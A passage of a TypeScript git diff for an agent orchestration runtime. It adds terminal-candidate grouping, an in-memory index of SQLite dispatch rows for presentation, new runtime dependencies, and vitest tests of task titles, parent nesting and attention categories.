+      for (const pty of source.ptys.values()) {
+        const key = captured.read(pty).paneKey
+        if (!key) {
+          continue
+        }
+        const leaf = parsePaneKey(key)?.leafId
+        for (const [map, address] of [
+          [captured.panes, key],
+          [captured.leaves, leaf]
+        ] as const) {
+          if (!address) {
+            continue
+          }
+          const ids = map.get(address) ?? []
+          ids.push(pty.ptyId)
+          map.set(address, ids)
+        }
+      }
+    }
+    const leaf = parsePaneKey(pane)?.leafId
+    return leaf ? (captured.leaves.get(leaf) ?? []) : (captured.panes.get(pane) ?? [])
+  }
+  const paneOf = (pty: RuntimePtyWorktreeRecord) =>
+    (source.paneOf ?? captured?.read ?? source.capturePaneOf())(pty).paneKey
+  const requests = new Map<string, ReturnType<OrchestrationTerminalCandidates>>()
+  return (pane) => {
+    const parsed = parsePaneKey(pane)
+    const key = parsed ? `leaf:${parsed.leafId}` : `pane:${pane}`
+    const cached = requests.get(key)
+    if (cached) {
+      return cached
+    }
+    const panes = new Map<string, RuntimePtyWorktreeRecord[]>()
+    if (parsed) {
+      for (const id of source.leavesForId(parsed.leafId)) {
+        const leaf = source.leaves.get(id)
+        if (leaf?.ptyId) {
+          panes.set(source.makePaneKey(leaf), [])
+        }
+      }
+    }
+    for (const id of ptysFor(pane)) {
+      const pty = source.ptys.get(id)
+      const address = pty && paneOf(pty)
+      if (pty && address) {
+        const records = panes.get(address) ?? []
+        records.push(pty)
+        panes.set(address, records)
+      }
+    }
+    const groups = [...panes].map(([paneKey, ptys]) => ({
+      paneKey,
+      handles: {
+        *[Symbol.iterator]() {
+          const seen = new Set<string>()
+          const parsed = parsePaneKey(paneKey)
+          const leaf = parsed
+            ? source.leaves.get(source.leafKey(parsed.tabId, parsed.leafId))
+            : undefined
+          if (leaf?.ptyId) {
+            const handle = source.issueLeaf(leaf)
+            seen.add(handle)
+            yield handle
+          }
+          // Mint fallback identities only if the preceding candidate had no context.
+          for (const pty of ptys) {
+            const handle = source.issuePty(pty)
+            if (!seen.has(handle)) {
+              seen.add(handle)
+              yield handle
+            }
+          }
+        }
+      }
+    }))
+    requests.set(key, groups)
+    return groups
+  }
+}
diff --git a/src/main/runtime/orchestration/crew/presentation-dispatch-index.ts b/src/main/runtime/orchestration/crew/presentation-dispatch-index.ts
new file mode 100644
index 00000000000..d7b138008dd
--- /dev/null
+++ b/src/main/runtime/orchestration/crew/presentation-dispatch-index.ts
@@ -0,0 +1,211 @@
+import { DispatchPresentationDeadlines } from './dispatch-presentation-deadlines'
+import { DispatchPresentationPriority } from './dispatch-presentation-priority'
+import { dispatchCompletionEpoch } from '../db/dispatch-context/dispatch-completion-epoch'
+import { AGENT_STATUS_STALE_AFTER_MS } from '../../../../shared/agent-status/contracts/agent-status-freshness'
+import type { OrchestrationDb } from '../db/orchestration-db'
+import type { DispatchContextRow } from '../db/orchestration-records'
+import { DISPATCH_CONTEXT_COLUMN_LIST } from '../db/row-column-lists'
+import {
+  readPresentationDispatchCandidates,
+  isRecentPresentationDispatch
+} from '../db/dispatch-context/dispatch-presentation'
+import { paneKeyMatchSuffix } from '../db/pane-key-match'
+import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id'
+
+type Candidate = DispatchContextRow & { presentation_order: number }
+const active = (row: DispatchContextRow) => row.status === 'pending' || row.status === 'dispatched'
+const paneAddress = (key: string) => `pane:${parsePaneKey(key) ? paneKeyMatchSuffix(key) : key}`
+type Read = <T>(owner: string, key: string, dependencies: readonly string[], read: () => T) => T
+
+export class PresentationDispatchIndex {
+  private readonly candidates = new Map<string, Candidate>()
+  private readonly addresses = new Map<string, Set<string>>()
+  private readonly allWinners = new Map<string, DispatchPresentationPriority>()
+  private readonly activeWinners = new Map<string, DispatchPresentationPriority>()
+  private readonly expiry = new DispatchPresentationDeadlines()
+  constructor(
+    private readonly db: OrchestrationDb,
+    private readonly read: Read,
+    private readonly release: (id: string) => void
+  ) {}
+  refresh(now: number, dirty: readonly string[], cold: boolean): void {
+    if (cold) {
+      for (const row of readPresentationDispatchCandidates(this.db, now)) {
+        if (active(row) || isRecentPresentationDispatch(row, now)) {
+          this.put(row)
+        }
+      }
+    } else {
+      for (const key of dirty) {
+        if (!key.startsWith('candidate:')) {
+          continue
+        }
+        const id = key.slice(10)
+        this.remove(id)
+        const raw = this.db.db
+          .prepare(
+            `SELECT rowid AS presentation_order, ${DISPATCH_CONTEXT_COLUMN_LIST} FROM dispatch_contexts WHERE id = ?`
+          )
+          .get(id)
+        // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: complete schema-owned dispatch projection plus SQLite rowid.
+        const row = raw as Candidate | undefined
+        if (row && (active(row) || isRecentPresentationDispatch(row, now))) {
+          this.put(row)
+        }
+      }
+    }
+    for (const id of this.expiry.expired(now)) {
+      this.remove(id)
+    }
+  }
+  get size(): number {
+    return this.candidates.size
+  }
+  rows(): IterableIterator<Candidate> {
+    return this.candidates.values()
+  }
+  has(id: string): boolean {
+    return this.candidates.has(id)
+  }
+  clear(): void {
+    this.expiry.clear()
+    this.candidates.clear()
+    this.addresses.clear()
+    this.allWinners.clear()
+    this.activeWinners.clear()
+  }
+  private keys(row: DispatchContextRow): string[] {
+    return [
+      ...(row.assignee_handle ? [`handle:${row.assignee_handle}`] : []),
+      ...(row.assignee_pane_key
+        ? [paneAddress(row.assignee_pane_key), `exact:${row.assignee_pane_key}`]
+        : []),
+      ...(row.assignee_orca_session_id ? [`session:${row.assignee_orca_session_id}`] : [])
+    ]
+  }
+
+  private put(row: Candidate): void {
+    this.candidates.set(row.id, row)
+    if (!active(row) && row.completed_at) {
+      const completed = dispatchCompletionEpoch(row.completed_at)
+      if (completed !== null) {
+        this.expiry.set(row.id, completed + AGENT_STATUS_STALE_AFTER_MS)
+      }
+    }
+    for (const key of this.keys(row)) {
+      const bucket = this.addresses.get(key) ?? new Set()
+      bucket.add(row.id)
+      this.addresses.set(key, bucket)
+      this.order(this.allWinners, key, row)
+      if (active(row)) {
+        this.order(this.activeWinners, key, row)
+      }
+    }
+  }
+
+  private remove(id: string): void {
+    const row = this.candidates.get(id)
+    if (row) {
+      for (const key of this.keys(row)) {
+        const bucket = this.addresses.get(key)
+        this.unorder(this.allWinners, key, id)
+        this.unorder(this.activeWinners, key, id)
+        bucket?.delete(id)
+        if (bucket?.size === 0) {
+          this.addresses.delete(key)
+        }
+      }
+    }
+    this.expiry.delete(id)
+    this.candidates.delete(id)
+    this.release(id)
+  }
+
+  private order(
+    buckets: Map<string, DispatchPresentationPriority>,
+    key: string,
+    row: Candidate
+  ): void {
+    const bucket = buckets.get(key) ?? new DispatchPresentationPriority()
+    bucket.set(row.id, -row.presentation_order)
+    buckets.set(key, bucket)
+  }
+
+  private unorder(
+    buckets: Map<string, DispatchPresentationPriority>,
+    key: string,
+    id: string
+  ): void {
+    const bucket = buckets.get(key)
+    bucket?.delete(id)
+    if (bucket?.size === 0) {
+      buckets.delete(key)
+    }
+  }
+
+  private newest(key: string, onlyActive = true): Candidate | undefined {
+    const id = (onlyActive ? this.activeWinners : this.allWinners).get(key)?.peek()?.id
+    return id === undefined ? undefined : this.candidates.get(id)
+  }
+
+  activeFor(handle: string, pane?: string): Candidate | undefined {
+    return (
+      this.newest(`handle:${handle}`) ??
+      (pane
+        ? (this.newest(`exact:${pane}`) ??
+          (parsePaneKey(pane) ? this.newest(paneAddress(pane)) : undefined))
+        : undefined)
+    )
+  }
+
+  latest(handle: string): DispatchContextRow | undefined {
+    const candidate = this.newest(`handle:${handle}`, false)
+    return candidate
+      ? this.read(candidate.id, `latest:${handle}`, [`handle:${handle}`], () =>
+          this.db.getLatestDispatchForTerminal(handle)
+        )
+      : undefined
+  }
+
+  sessions(now: number, sessions?: readonly string[]) {
+    const candidates = sessions
+      ? sessions.flatMap((id) =>
+          [...(this.addresses.get(`session:${id}`) ?? [])].flatMap(
+            (key) => this.candidates.get(key) ?? []
+          )
+        )
+      : [...this.candidates.values()].filter((row) => row.assignee_orca_session_id)
+    const selected = new Map<string, Candidate>()
+    for (const row of candidates) {
+      const address = row.assignee_handle
+        ? `handle:${row.assignee_handle}`
+        : `session:${row.assignee_orca_session_id}`
+      const previous = selected.get(address)
+      if (
+        !previous ||
+        (active(row) && !active(previous)) ||
+        (active(row) === active(previous) && row.presentation_order > previous.presentation_order)
+      ) {
+        selected.set(address, row)
+      }
+    }
+    return [...selected].flatMap(([key, row]) => {
+      const latest =
+        active(row) && !row.assignee_handle
+          ? this.newest(`session:${row.assignee_orca_session_id}`)
+          : this.read(row.id, `session-latest:${active(row)}:${key}`, [key], () =>
+              this.db.db
+                .prepare(
+                  `SELECT rowid AS n FROM dispatch_contexts WHERE ${row.assignee_handle ? 'assignee_handle' : 'assignee_orca_session_id'} = ? ${active(row) ? "AND status IN ('pending', 'dispatched')" : ''} ORDER BY rowid DESC LIMIT 1`
+                )
+                .get(row.assignee_handle || row.assignee_orca_session_id)
+            )
+      const order =
+        latest && ('presentation_order' in latest ? latest.presentation_order : latest.n)
+      return order === row.presentation_order &&
+        (active(row) || isRecentPresentationDispatch(row, now))
+        ? [{ dispatch: row, order: row.presentation_order }]
+        : []
+    })
+  }
+}
diff --git a/src/main/runtime/orchestration/crew/runtime-agent-orchestration-dependencies.ts b/src/main/runtime/orchestration/crew/runtime-agent-orchestration-dependencies.ts
index ff691472a91..9cd3b898457 100644
--- a/src/main/runtime/orchestration/crew/runtime-agent-orchestration-dependencies.ts
+++ b/src/main/runtime/orchestration/crew/runtime-agent-orchestration-dependencies.ts
@@ -1,10 +1,43 @@
+import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/layout-owner-switch'
+import { captureOrchestrationTerminalCandidates } from './orchestration-terminal-candidates'
+import {
+  mintAgentStatusFleetEvidence,
+  type ObservedAgentStatusPaneIdentity
+} from '../../../ipc/agent-status-ipc-boundary'
 import { readAgentOrchestrationProjectionRecords } from '../addressing/orchestration-fleet-agent-status-snapshot'
 import type { RuntimeAgentOrchestrationDependencies } from './runtime-agent-orchestration-projection'
 import { OrcaRuntimeWithRuntimeId } from '../../construction/runtime-identity-state'
+import type { AgentStatusOrchestrationContext } from '../../../../shared/agent-status/contracts/agent-status-types'
 
 export abstract class OrcaRuntimeWithAgentOrchestrationDependencies extends OrcaRuntimeWithRuntimeId {
+  abstract getAgentStatusTerminalHandleForPaneKey(paneKey: string): string | undefined
+  abstract getAgentStatusOrchestrationContextForPaneKey(
+    paneKey: string
+  ): AgentStatusOrchestrationContext | undefined
+  abstract readonly readObservedAgentStatusPaneIdentityFn: (
+    paneKey: string
+  ) => ObservedAgentStatusPaneIdentity
+
   protected agentOrchestrationDependencies(bound?: Partial<RuntimeAgentOrchestrationDependencies>) {
     return {
+      captureTerminalCandidates: () =>
+        captureOrchestrationTerminalCandidates({
+          leaves: this.leaves,
+          ptys: this.ptysById,
+          leafKey: (tab, leaf) => this.getLeafKey(tab, leaf),
+          leavesForId: (id) => this.terminalIdentity.paneCandidates.leavesForId(id),
+          capturePaneOf: () => this.captureTerminalPaneReader(),
+          ...(!ORCA_LAYOUT_OWNER_IS_MAIN
+            ? {
+                ptysForPane: (pane: string) =>
+                  this.terminalIdentity.paneCandidates.ptysForPane(pane),
+                paneOf: (pty: Parameters<typeof this.paneOfPty>[0]) => this.paneOfPty(pty)
+              }
+            : {}),
+          makePaneKey: (leaf) => this.makeRuntimePaneKey(leaf),
+          issueLeaf: (leaf) => this.issueHandle(leaf),
+          issuePty: (pty) => this.issuePtyHandle(pty)
+        }),
       getDb: () => this.getOrchestrationDbIfAvailable(),
       getLeaves: () => this.leaves.values(),
       getPtys: () => this.ptysById.values(),
@@ -17,6 +50,21 @@ export abstract class OrcaRuntimeWithAgentOrchestrationDependencies extends Orca
       getPaneKey: (handle) => this.getPaneKeyForTerminalHandle(handle),
       getDispatchAuthority: (handle) => this.getOrchestrationDispatchAuthority(handle),
       getAgentStatusSnapshot: () => this.getOrchestrationFleetAgentStatusSnapshot(),
+      getAgentStatusForPaneKey: (paneKey, contextForPane) =>
+        (this.publicPaneStatusFn?.(paneKey) ?? []).map((entry) =>
+          mintAgentStatusFleetEvidence(
+            entry,
+            {
+              getAgentStatusTerminalHandleForPaneKey: (pane) =>
+                this.getAgentStatusTerminalHandleForPaneKey(pane),
+              getTerminalProcessIncarnation: (handle) => this.getTerminalProcessIncarnation(handle),
+              getAgentStatusOrchestrationContextForPaneKey:
+                contextForPane ??
+                ((pane) => this.getAgentStatusOrchestrationContextForPaneKey(pane))
+            },
+            this.readObservedAgentStatusPaneIdentityFn(paneKey)
+          )
+        ),
       getSessionRecords: () => readAgentOrchestrationProjectionRecords(),
       ...bound
     } satisfies RuntimeAgentOrchestrationDependencies
diff --git a/src/main/runtime/orchestration/crew/runtime-agent-orchestration-projection.test.ts b/src/main/runtime/orchestration/crew/runtime-agent-orchestration-projection.test.ts
index ef37fe12772..3fc464a93f3 100644
--- a/src/main/runtime/orchestration/crew/runtime-agent-orchestration-projection.test.ts
+++ b/src/main/runtime/orchestration/crew/runtime-agent-orchestration-projection.test.ts
@@ -1,3 +1,4 @@
+import { runLifecycleWriteTransaction } from '../db/lifecycle-write-transaction-runner'
 import 'node:fs'
 import 'node:os'
 import 'node:path'
@@ -8,7 +9,11 @@ import '../../../native-chat/agent-session-wire/host/testing/structured-agent-se
 import '../../orca-runtime'
 
 import { afterEach, describe, expect, it, vi } from 'vitest'
-import '../../../../shared/agent-session/lifecycle/agent-session-conversation-view'
+import { agentSessionConversationView } from '../../../../shared/agent-session/lifecycle/agent-session-conversation-view'
+import {
+  agentSessionLeaseFixture,
+  agentSessionRecordFixture
+} from '../../../../shared/agent-session/lifecycle/agent-session-record.test-fixture'
 import '../../rpc/orchestration-session-caller-test-fixture'
 import '../../../../shared/orca-session-address'
 
@@ -95,9 +100,10 @@ describe('RuntimeAgentOrchestrationProjection chat lineage', () => {
       issueLeafHandle: () => TERMINAL_WORKER_HANDLE,
       issuePtyHandle: () => '',
       makePaneKey: () => TERMINAL_WORKER_PANE,
-      getWorktreeId: () => null,
-      getHandleForPaneKey: () => null,
-      getPaneKey: () => null,
+      getWorktreeId: (handle) => (handle === TERMINAL_WORKER_HANDLE ? leaf.worktreeId : null),
+      getHandleForPaneKey: (pane) =>
+        pane === TERMINAL_WORKER_PANE ? TERMINAL_WORKER_HANDLE : null,
+      getPaneKey: (handle) => (handle === TERMINAL_WORKER_HANDLE ? TERMINAL_WORKER_PANE : null),
       getDispatchAuthority: () => null,
       getAgentStatusSnapshot: () => [],
       getSessionRecords: () => null
@@ -107,8 +113,314 @@ describe('RuntimeAgentOrchestrationProjection chat lineage', () => {
 
     expect(contexts?.[chatRow(WORKER_CHAT)]?.parentPaneKey).toBe(chatRow(COORDINATOR_CHAT))
     expect(contexts?.[TERMINAL_WORKER_PANE]?.parentPaneKey).toBe(chatRow(COORDINATOR_CHAT))
+    expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)).toEqual(contexts?.[TERMINAL_WORKER_PANE])
+    expect(projection.getForPaneKey(chatRow(WORKER_CHAT))).toEqual(contexts?.[chatRow(WORKER_CHAT)])
     // The minted pane key authorizes the worker's mailbox; it must never reach a renderer.
     expect(JSON.stringify(contexts)).not.toContain(chatWorker.paneKey)
     expect(JSON.stringify(contexts)).not.toContain(chatWorker.handle)
   })
 })
+
+describe('keyed orchestration presentation', () => {
+  it('reads current task facts across commits, rollback and completion expiry', () => {
+    const db = new OrchestrationDb(':memory:')
+    const clock = vi.spyOn(Date, 'now').mockReturnValue(Date.parse('2026-11-09T12:00:00Z'))
+    try {
+      const run = db.createRun({
+        objective: 'Keyed presentation',
+        coordinatorHandle: 'coordinator',
+        coordinatorPaneKey: null
+      })
+      const task = db.createTask({ runId: run.id, spec: 'Original title' })
+      const dispatch = db.createDispatchContext({
+        taskId: task.id,
+        assigneeHandle: TERMINAL_WORKER_HANDLE,
+        assigneePaneKey: TERMINAL_WORKER_PANE,
+        creator: { kind: 'system' },
+        maxDepth: 99
+      })
+      const projection = new RuntimeAgentOrchestrationProjection({
+        getDb: () => db,
+        getLeaves: () => [],
+        getPtys: () => [],
+        paneOf: () => ({ tabId: null, paneKey: null, recordedAtGraphSequence: 0 }),
+        issueLeafHandle: () => '',
+        issuePtyHandle: () => '',
+        makePaneKey: () => '',
+        getWorktreeId: (handle) => (handle === TERMINAL_WORKER_HANDLE ? 'folder:/workspace' : null),
+        getHandleForPaneKey: (pane) =>
+          pane === TERMINAL_WORKER_PANE ? TERMINAL_WORKER_HANDLE : null,
+        getPaneKey: (handle) => (handle === TERMINAL_WORKER_HANDLE ? TERMINAL_WORKER_PANE : null),
+        getDispatchAuthority: () => null,
+        getAgentStatusSnapshot: () => [],
+        getAgentStatusForPaneKey: () => [],
+        getSessionRecords: () => null
+      })
+      expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)?.taskTitle).toBe('Original title')
+      db.db.prepare('UPDATE tasks SET task_title = ? WHERE id = ?').run('Committed title', task.id)
+      expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)?.taskTitle).toBe('Committed title')
+      expect(() =>
+        runLifecycleWriteTransaction(db.db, 'projection_rollback', () => {
+          db.db
+            .prepare('UPDATE tasks SET task_title = ? WHERE id = ?')
+            .run('Rolled back title', task.id)
+          expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)?.taskTitle).toBe(
+            'Rolled back title'
+          )
+          throw new Error('rollback')
+        })
+      ).toThrow('rollback')
+      expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)?.taskTitle).toBe('Committed title')
+      db.db
+        .prepare("UPDATE dispatch_contexts SET status = 'completed', completed_at = ? WHERE id = ?")
+        .run('2026-11-09 12:00:00', dispatch.id)
+      expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)?.dispatchStatus).toBe('completed')
+      clock.mockReturnValue(Date.parse('2026-11-10T12:00:00Z'))
+      expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)).toBeUndefined()
+      clock.mockReturnValue(Date.parse('2026-11-09T12:00:00Z'))
+      expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)?.dispatchId).toBe(dispatch.id)
+    } finally {
+      db.close()
+      clock.mockRestore()
+    }
+  })
+})
+
+function terminalProjection(db: OrchestrationDb) {
+  const panes = new Map([
+    [TERMINAL_WORKER_HANDLE, TERMINAL_WORKER_PANE],
+    ['creator', 'tab-creator:cccccccc-cccc-4ccc-8ccc-cccccccccccc'],
+    ['coordinator', 'tab-coordinator:dddddddd-dddd-4ddd-8ddd-dddddddddddd']
+  ])
+  return new RuntimeAgentOrchestrationProjection({
+    getDb: () => db,
+    getLeaves: () => [],
+    getPtys: () => [],
+    paneOf: () => ({ tabId: null, paneKey: null, recordedAtGraphSequence: 0 }),
+    issueLeafHandle: () => '',
+    issuePtyHandle: () => '',
+    makePaneKey: () => '',
+    getWorktreeId: (handle) => (panes.has(handle) ? 'folder:/workspace' : null),
+    getHandleForPaneKey: (pane) => [...panes].find(([, key]) => key === pane)?.[0] ?? null,
+    getPaneKey: (handle) => panes.get(handle) ?? null,
+    getDispatchAuthority: (handle) => ({
+      paneKey: panes.get(handle)!,
+      processIncarnation: 'creator-process',
+      runtimeId: 'runtime',
+      terminalHandle: handle,
+      ptyId: `pty-${handle}`,
+      worktreeId: 'folder:/workspace',
+      launchTokenHash: null,
+      hostScope: { kind: 'local', hostId: 'local' }
+    }),
+    getAgentStatusSnapshot: () => [],
+    getAgentStatusForPaneKey: () => [],
+    getSessionRecords: () => null
+  })
+}
+
+it('updates child nesting when its creator dispatch settles without a child task write', () => {
+  const db = new OrchestrationDb(':memory:')
+  try {
+    const run = db.createRun({
+      objective: 'Creator proof',
+      coordinatorHandle: 'coordinator',
+      coordinatorPaneKey: 'tab-coordinator:dddddddd-dddd-4ddd-8ddd-dddddddddddd'
+    })
+    const creator = db.createDispatchContext({
+      taskId: db.createTask({ runId: run.id, spec: 'Creator' }).id,
+      assigneeHandle: 'creator',
+      assigneePaneKey: 'tab-creator:cccccccc-cccc-4ccc-8ccc-cccccccccccc',
+      processIncarnation: 'creator-process',
+      creator: { kind: 'system' },
+      maxDepth: 99
+    })
+    const task = db.createTask({ runId: run.id, spec: 'Child' })
+    db.db
+      .prepare(
+        `UPDATE tasks SET created_by_terminal_handle = 'creator', created_by_pane_key = 'tab-creator:cccccccc-cccc-4ccc-8ccc-cccccccccccc', created_by_process_incarnation = 'creator-process', created_by_run_generation = ? WHERE id = ?`
+      )
+      .run(run.consumer_generation, task.id)
+    db.createDispatchContext({
+      taskId: task.id,
+      assigneeHandle: TERMINAL_WORKER_HANDLE,
+      assigneePaneKey: TERMINAL_WORKER_PANE,
+      creator: { kind: 'system' },
+      maxDepth: 99
+    })
+    const projection = terminalProjection(db)
+    expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)?.parentTerminalHandle).toBe('creator')
+    db.db
+      .prepare(
+        "UPDATE dispatch_contexts SET status = 'completed', completed_at = datetime('now') WHERE id = ?"
+      )
+      .run(creator.id)
+    expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)?.parentTerminalHandle).toBe('coordinator')
+  } finally {
+    db.close()
+  }
+})
+
+it('updates legacy nesting when a coordinator starts and finishes without a dispatch write', () => {
+  const db = new OrchestrationDb(':memory:')
+  try {
+    const legacy = db.createRun({
+      objective: 'Legacy work',
+      coordinatorHandle: null,
+      coordinatorPaneKey: null
+    })
+    db.db.prepare('UPDATE runs SET legacy = 1 WHERE id = ?').run(legacy.id)
+    db.createDispatchContext({
+      taskId: db.createTask({ runId: legacy.id, spec: 'Legacy worker' }).id,
+      assigneeHandle: TERMINAL_WORKER_HANDLE,
+      assigneePaneKey: TERMINAL_WORKER_PANE,
+      creator: { kind: 'system' },
+      maxDepth: 99
+    })
+    const projection = terminalProjection(db)
+    expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)?.parentTerminalHandle).toBeUndefined()
+    const run = db.createCoordinatorRun({
+      spec: 'Legacy coordinator',
+      coordinatorHandle: 'coordinator'
+    })
+    expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)?.parentTerminalHandle).toBe('coordinator')
+    db.updateCoordinatorRun(run.id, 'completed')
+    expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)?.parentTerminalHandle).toBeUndefined()
+  } finally {
+    db.close()
+  }
+})
+
+it('keeps a cleared chat worker under its coordinator in the keyed attention read', () => {
+  const db = new OrchestrationDb(':memory:')
+  try {
+    const successor = testOrcaSessionId('bbbbbbbb-bbbb-4bbb-8bbb-bbbbbbbbbbbb')
+    const run = db.createRun({
+      objective: 'Cleared worker',
+      coordinatorHandle: null,
+      coordinatorPaneKey: null,
+      coordinatorOrcaSessionId: COORDINATOR_CHAT
+    })
+    db.createDispatchContext({
+      taskId: db.createTask({ runId: run.id, spec: 'Chat worker' }).id,
+      assigneeHandle: `orca_session_id:${WORKER_CHAT}`,
+      creator: { kind: 'system' },
+      maxDepth: 99
+    })
+    const root = agentSessionRecordFixture(agentSessionLeaseFixture({ sessionId: WORKER_CHAT }))
+    root.conversationCommand = {
+      command: 'clear',
+      runtimeFence: 7,
+      operationId: 'clear-worker',
+      callerKey: 'renderer',
+      phase: 'committed',
+      state: 'completed',
+      replacementSessionId: successor
+    }
+    const records = new Map<string, ReturnType<typeof agentSessionConversationView>>([
+      [WORKER_CHAT, agentSessionConversationView(root)],
+      [
+        successor,
+        agentSessionConversationView(
+          agentSessionRecordFixture(agentSessionLeaseFixture({ sessionId: successor }))
+        )
+      ],
+      [
+        COORDINATOR_CHAT,
+        agentSessionConversationView(
+          agentSessionRecordFixture(agentSessionLeaseFixture({ sessionId: COORDINATOR_CHAT }))
+        )
+      ]
+    ])
+    const projection = new RuntimeAgentOrchestrationProjection({
+      getDb: () => db,
+      getLeaves: () => [],
+      getPtys: () => [],
+      paneOf: () => ({ tabId: null, paneKey: null, recordedAtGraphSequence: 0 }),
+      issueLeafHandle: () => '',
+      issuePtyHandle: () => '',
+      makePaneKey: () => '',
+      getWorktreeId: () => null,
+      getHandleForPaneKey: () => null,
+      getPaneKey: () => null,
+      getDispatchAuthority: () => null,
+      getAgentStatusSnapshot: () => [],
+      getAgentStatusForPaneKey: () => [],
+      getSessionRecords: () => ({
+        getRecord: (id) => records.get(id) ?? null,
+        listRecords: () => [...records.values()],
+        listClearedFrom: (id) => (id === successor ? [WORKER_CHAT] : [])
+      })
+    })
+    expect(projection.getForPaneKey(chatRow(successor))?.parentPaneKey).toBe(
+      chatRow(COORDINATOR_CHAT)
+    )
+    expect(projection.getForPaneKey(chatRow(successor))).toEqual(
+      projection.buildByPaneKey()?.[chatRow(successor)]
+    )
+    expect(projection.getForPaneKey(chatRow(WORKER_CHAT))).toBeUndefined()
+  } finally {
+    db.close()
+  }
+})
+
+it('reveals an accepted failure after only its sibling worker settles, and retires read guidance', () => {
+  const db = new OrchestrationDb(':memory:')
+  try {
+    const run = db.createRun({
+      objective: 'Attention changes',
+      coordinatorHandle: 'coordinator',
+      coordinatorPaneKey: null
+    })
+    const task = db.createTask({ runId: run.id, spec: 'Retrying work' })
+    const first = db.createDispatchContext({
+      taskId: task.id,
+      assigneeHandle: TERMINAL_WORKER_HANDLE,
+      assigneePaneKey: TERMINAL_WORKER_PANE,
+      creator: { kind: 'system' },
+      maxDepth: 99
+    })
+    // A retry shares the task; lifecycle writers can change only its worker row.
+    db.db
+      .prepare(
+        "INSERT INTO dispatch_contexts(id,run_id,task_id,assignee_handle,status) VALUES('retry',?,?,?,'dispatched')"
+      )
+      .run(run.id, task.id, 'retry-worker')
+    db.db.prepare("INSERT INTO worker_dispatches(dispatch_id,state) VALUES('retry','ready')").run()
+    db.recordAttemptObservation({
+      id: 'accepted-failure',
+      dispatchId: first.id,
+      sequence: 1,
+      authorityId: 'home',
+      authorityClock: 'home',
+      facet: 'worker_report',
+      payload: { status: 'accepted', outcome: 'failed' },
+      homeReceivedAt: Date.now()
+    })
+    const projection = terminalProjection(db)
+    expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)?.attention?.categories).not.toContain(
+      'failure'
+    )
+    db.db.prepare("UPDATE worker_dispatches SET state='stopped' WHERE dispatch_id='retry'").run()
+    expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)?.attention?.categories).toContain(
+      'failure'
+    )
+    db.db
+      .prepare(
+        "INSERT INTO messages(id,run_id,from_handle,to_handle,subject) VALUES('guidance',?,'coordinator',?,'Please check the output')"
+      )
+      .run(run.id, `dispatch:${first.id}`)
+    expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)?.attention?.categories).toContain(
+      'guidance'
+    )
+    db.db.prepare("UPDATE messages SET read=1 WHERE id='guidance'").run()
+    expect(projection.getForPaneKey(TERMINAL_WORKER_PANE)?.attention?.categories).not.toContain(
+      'guidance'
+    )
+    expect(projection.buildByPaneKey()?.[TERMINAL_WORKER_PANE]?.attention?.categories).toContain(
+      'failure'
+    )
+  } finally {
+    db.close()
+  }
+})
diff --git a/src/main/runtime/orchestration/crew/runtime-agent-orchestration-projection.ts b/src/main/runtime/orchestration/crew/runtime-agent-orchestration-projection.ts
index 5653a51832f..8ffc08116f3 100644
--- a/src/main/runtime/orchestration/crew/runtime-agent-orchestration-projection.ts
+++ b/src/main/runtime/orchestration/crew/runtime-agent-orchestration-projection.ts
@@ -1,6 +1,12 @@
+import type { OrchestrationTerminalCandidates } from './orchestration-terminal-candidates'
+import { composeOrchestrationDispatch } from './orchestration-dispatch-context'
+import { orchestrationProjectionFacts } from './orchestration-projection-facts'
+import {
+  structuredAgentSessionPaneKey,
+  structuredAgentSessionTabId
+} from '../../../../shared/agent-session/view/structured-agent-session-projection'
 import type { AgentStatusOrchestrationContext } from '../../../../shared/agent-status/contracts/agent-status-types'
 import type { FleetAgentStatusEvidence } from '../../../../shared/orchestration/fleet/orchestration-fleet-agent-status-evidence'
-import { creatorFirstParent, crewTaskDisplay } from './crew-rules'
 import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id'
 import type { OrchestrationCompatibilityTerminalAuthority } from '../terminal-authority/orchestration-compatibility-authority'
 import type {
@@ -8,15 +14,10 @@ import type {
   RuntimePtyWorktreeRecord
 } from '../../terminal/records/runtime-terminal-state-records'
 import type { OrchestrationDb } from '../db/orchestration-db'
-import {
-  buildWorkerAttentionContext,
-  projectWorkerAttentionContext
-} from '../workers/reports/worker-attention-context'
-import { worktreeIdsEqual } from '../../../../shared/worktree/id'
+import { projectWorkerAttentionContext } from '../workers/reports/worker-attention-context'
 import type { AgentSessionRecordReader } from '../addressing/session-lineage/structured-session-lineage'
 import { createOrchestrationProjectionScope } from './runtime-agent-orchestration-scope'
-import { isRecentPresentationDispatch } from '../db/dispatch-context/dispatch-lookup'
-import { currentRunCoordinatorOrcaSessionId } from '../db/runs/run-coordinator-orca-session'
+import { isRecentPresentationDispatch } from '../db/dispatch-context/dispatch-presentation'
 import type { DispatchContextRow } from '../db/orchestration-records'
 import type { PtyPaneOf } from '../../terminal/surface/pty-pane-query'
 import {
@@ -25,6 +26,7 @@ import {
 } from '../workers/lifecycle/session-worker-liveness'
 
 export type RuntimeAgentOrchestrationDependencies = {
+  captureTerminalCandidates?(): OrchestrationTerminalCandidates
   getDb(): OrchestrationDb | null
   getLeaves(): Iterable<RuntimeLeafRecord>
   getPtys(): Iterable<RuntimePtyWorktreeRecord>
@@ -37,10 +39,14 @@ export type RuntimeAgentOrchestrationDependencies = {
   getPaneKey(handle: string): string | null
   getDispatchAuthority(handle: string): OrchestrationCompatibilityTerminalAuthority | null
   getAgentStatusSnapshot(): readonly FleetAgentStatusEvidence[]
+  getAgentStatusForPaneKey?(
+    paneKey: string,
+    contextForPane?: (paneKey: string) => AgentStatusOrchestrationContext | undefined
